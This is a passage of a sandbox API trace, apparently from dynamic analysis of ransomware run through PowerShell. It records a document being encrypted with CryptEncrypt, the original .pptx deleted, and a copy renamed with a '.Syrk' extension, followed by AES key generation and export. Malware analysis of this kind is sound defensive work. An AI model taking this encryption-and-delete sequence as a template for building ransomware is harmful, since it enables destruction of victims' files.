lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24c0430*, lpNumberOfBytesWritten=0x5a2e7b0*=0xe6a4, lpOverlapped=0x0) returned 1 [0230.832] ReadFile (in: hFile=0x454, lpBuffer=0x24ab42c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24ab42c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0230.833] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24ceae0*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24ceae0*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0230.833] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24ceafc*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24ceafc*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0230.833] WriteFile (in: hFile=0x458, lpBuffer=0x24a75a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24a75a0*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0230.833] CloseHandle (hObject=0x458) returned 1 [0230.836] CloseHandle (hObject=0x454) returned 1 [0230.836] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.837] EtwEventActivityIdControl () returned 0x0 [0230.837] EtwEventActivityIdControl () returned 0x0 [0230.837] EtwEventActivityIdControl () returned 0x0 [0230.842] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx")) returned 0x20 [0230.844] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0230.844] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", lpFilePart=0x0) returned 0x29 [0230.845] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0230.845] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0230.845] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0230.845] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0230.845] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0230.845] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0230.845] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0230.845] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0230.845] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0230.845] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0230.846] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0230.846] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0230.846] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0230.846] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0230.846] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0230.846] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0230.846] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx")) returned 0x20 [0230.846] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0230.846] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", lpFilePart=0x0) returned 0x29 [0230.850] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0230.850] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", lpFilePart=0x0) returned 0x29 [0230.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0230.850] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0230.850] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", lpFilePart=0x0) returned 0x29 [0230.850] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0230.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0230.850] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0230.850] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0230.851] CoTaskMemFree (pv=0x5c9a950) [0230.853] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx")) returned 0x20 [0230.853] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0230.853] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx", lpFilePart=0x0) returned 0x29 [0230.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0230.853] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx"), fInfoLevelId=0x0, lpFileInformation=0x24d98a0 | out: lpFileInformation=0x24d98a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6486130, ftCreationTime.dwHighDateTime=0x1d99433, ftLastAccessTime.dwLowDateTime=0xf4cbf440, ftLastAccessTime.dwHighDateTime=0x1d99ab7, ftLastWriteTime.dwLowDateTime=0xf4cbf440, ftLastWriteTime.dwHighDateTime=0x1d99ab7, nFileSizeHigh=0x0, nFileSizeLow=0xf690)) returned 1 [0230.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0230.854] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx")) returned 1 [0230.909] EtwEventActivityIdControl () returned 0x0 [0230.909] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.910] EtwEventActivityIdControl () returned 0x0 [0230.910] EtwEventActivityIdControl () returned 0x0 [0230.910] EtwEventActivityIdControl () returned 0x0 [0230.916] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx.syrk")) returned 0x20 [0230.916] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx.syrk")) returned 0x20 [0230.916] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0230.916] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx.Syrk", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx.Syrk", lpFilePart=0x0) returned 0x2e [0230.917] EtwEventActivityIdControl () returned 0x0 [0230.917] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.917] EtwEventActivityIdControl () returned 0x0 [0230.917] EtwEventActivityIdControl () returned 0x0 [0230.917] EtwEventActivityIdControl () returned 0x0 [0230.920] EtwEventActivityIdControl () returned 0x0 [0230.921] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.921] EtwEventActivityIdControl () returned 0x0 [0230.921] EtwEventActivityIdControl () returned 0x0 [0230.921] EtwEventActivityIdControl () returned 0x0 [0230.924] EtwEventActivityIdControl () returned 0x0 [0230.924] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.925] EtwEventActivityIdControl () returned 0x0 [0230.925] EtwEventActivityIdControl () returned 0x0 [0230.925] EtwEventActivityIdControl () returned 0x0 [0230.928] EtwEventActivityIdControl () returned 0x0 [0230.928] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.928] EtwEventActivityIdControl () returned 0x0 [0230.928] EtwEventActivityIdControl () returned 0x0 [0230.928] EtwEventActivityIdControl () returned 0x0 [0230.931] EtwEventActivityIdControl () returned 0x0 [0230.932] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.932] EtwEventActivityIdControl () returned 0x0 [0230.932] EtwEventActivityIdControl () returned 0x0 [0230.932] EtwEventActivityIdControl () returned 0x0 [0230.935] EtwEventActivityIdControl () returned 0x0 [0230.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0230.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\p9eQVmM.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\p9eqvmm.pptx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24e2dd0 | out: lpFileInformation=0x24e2dd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589ed00, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x589ed00, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x58c4e60, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xf6b4)) returned 1 [0230.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0230.940] GetConsoleOutputCP () returned 0x1b5 [0230.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0230.991] GetConsoleOutputCP () returned 0x1b5 [0230.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0230.991] GetConsoleOutputCP () returned 0x1b5 [0230.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.991] GetConsoleOutputCP () returned 0x1b5 [0230.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.991] GetConsoleOutputCP () returned 0x1b5 [0230.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0230.991] GetConsoleOutputCP () returned 0x1b5 [0230.992] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0230.992] GetConsoleOutputCP () returned 0x1b5 [0230.992] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.992] GetConsoleOutputCP () returned 0x1b5 [0230.992] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.992] GetConsoleOutputCP () returned 0x1b5 [0230.992] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0230.992] GetConsoleOutputCP () returned 0x1b5 [0230.992] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0230.992] GetConsoleOutputCP () returned 0x1b5 [0230.993] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.993] GetConsoleOutputCP () returned 0x1b5 [0230.993] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.993] GetConsoleOutputCP () returned 0x1b5 [0230.993] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0230.993] GetConsoleOutputCP () returned 0x1b5 [0230.993] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0230.993] GetConsoleOutputCP () returned 0x1b5 [0230.993] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.993] GetConsoleOutputCP () returned 0x1b5 [0230.994] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.994] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0230.994] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0230.994] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24fc9fc*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24fc9fc*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0230.995] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0230.995] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0230.996] EtwEventActivityIdControl () returned 0x0 [0230.996] EtwEventActivityIdControl () returned 0x0 [0230.996] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.996] EtwEventActivityIdControl () returned 0x0 [0230.996] EtwEventActivityIdControl () returned 0x0 [0230.996] EtwEventActivityIdControl () returned 0x0 [0230.998] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.998] EtwEventActivityIdControl () returned 0x0 [0230.998] EtwEventActivityIdControl () returned 0x0 [0230.998] EtwEventActivityIdControl () returned 0x0 [0231.000] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d320) returned 1 [0231.001] CryptGenKey (in: hProv=0x5c4d320, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c995a0) returned 1 [0231.001] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0231.001] CryptExportKey (in: hKey=0x5c995a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0231.001] CryptExportKey (in: hKey=0x5c995a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x25043d4, pdwDataLen=0x5a2e8c4 | out: pbData=0x25043d4*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0231.001] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.002] EtwEventActivityIdControl () returned 0x0 [0231.002] EtwEventActivityIdControl () returned 0x0 [0231.002] EtwEventActivityIdControl () returned 0x0 [0231.003] SysStringLen (param_1="") returned 0x8 [0231.003] SysStringLen (param_1="B") returned 0x8 [0231.003] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.003] SysStringLen (param_1="ꡞ\勚꽑쪵듳⢠⋧) returned 0x8 [0231.003] SysStringLen (param_1="ꡞ\勚꽑쪵듳⢠⋧) returned 0x8 [0231.003] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.003] SysStringLen (param_1="Bc") returned 0x8 [0231.003] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.003] SysStringLen (param_1="绑飹䫍胂墥튏") returned 0x8 [0231.003] SysStringLen (param_1="绑飹䫍胂墥튏") returned 0x8 [0231.003] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.003] SysStringLen (param_1="BcJ") returned 0x8 [0231.003] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.004] SysStringLen (param_1="ᣧᶵ꩝遺鼶ғ⒇⇀") returned 0x8 [0231.004] SysStringLen (param_1="ᣧᶵ꩝遺鼶ғ⒇⇀") returned 0x8 [0231.004] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.004] SysStringLen (param_1="BcJZ") returned 0x8 [0231.004] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.004] SysStringLen (param_1="Զl墣傳僎") returned 0x8 [0231.004] SysStringLen (param_1="Զl墣傳僎") returned 0x8 [0231.004] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.004] SysStringLen (param_1="BcJZE") returned 0x8 [0231.004] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.008] SysStringLen (param_1="ꊍ텫ജ闖郟ྊ") returned 0x8 [0231.008] SysStringLen (param_1="ꊍ텫ജ闖郟ྊ") returned 0x8 [0231.032] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.032] SysStringLen (param_1="BcJZEZ") returned 0x8 [0231.032] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.032] SysStringLen (param_1="頩꙰\푒ᾋ먁ꐎ⋯) returned 0x8 [0231.032] SysStringLen (param_1="頩꙰\푒ᾋ먁ꐎ⋯) returned 0x8 [0231.032] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.033] SysStringLen (param_1="BcJZEZ7") returned 0x8 [0231.033] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.033] SysStringLen (param_1="ᚍ心\盟ذ嘀뙻∺) returned 0x8 [0231.033] SysStringLen (param_1="ᚍ心\盟ذ嘀뙻∺) returned 0x8 [0231.033] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.033] SysStringLen (param_1="BcJZEZ7+") returned 0x8 [0231.033] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.033] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄") returned 0x8 [0231.033] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄") returned 0x8 [0231.033] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄") returned 0x8 [0231.034] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄") returned 0x10 [0231.034] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.034] SysStringLen (param_1="BcJZEZ7+J刨\裝鳃⌥뤳缵⊁) returned 0x10 [0231.034] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.034] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄텥럻䢢줠䀹⮡⒆得") returned 0x10 [0231.034] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄텥럻䢢줠䀹⮡⒆得") returned 0x10 [0231.034] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.034] SysStringLen (param_1="BcJZEZ7+J0\裝鳃⌥뤳缵⊁) returned 0x10 [0231.034] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.035] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄뾧횜털㒻吨๵霈芄") returned 0x10 [0231.035] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄뾧횜털㒻吨๵霈芄") returned 0x10 [0231.035] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.035] SysStringLen (param_1="BcJZEZ7+J0s쎈▜㌣㖹腿") returned 0x10 [0231.035] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.035] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄뒩渿쇡钸ॎ䊞") returned 0x10 [0231.035] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄뒩渿쇡钸ॎ䊞") returned 0x10 [0231.035] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.035] SysStringLen (param_1="BcJZEZ7+J0sL▜㌣㖹腿") returned 0x10 [0231.035] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.035] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄榱톐绬朆群") returned 0x10 [0231.035] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄榱톐绬朆群") returned 0x10 [0231.035] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.036] SysStringLen (param_1="BcJZEZ7+J0sL4㌣㖹腿") returned 0x10 [0231.036] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.036] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄軦瓜ﻬⷻ湆\⋝) returned 0x10 [0231.036] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄軦瓜ﻬⷻ湆\⋝) returned 0x10 [0231.036] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.036] SysStringLen (param_1="BcJZEZ7+J0sL4y㖹腿") returned 0x10 [0231.036] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.036] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄뾯､䝿໊墻୮䶱졝") returned 0x10 [0231.036] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄뾯､䝿໊墻୮䶱졝") returned 0x10 [0231.036] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.036] SysStringLen (param_1="BcJZEZ7+J0sL4y+腿") returned 0x10 [0231.036] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: 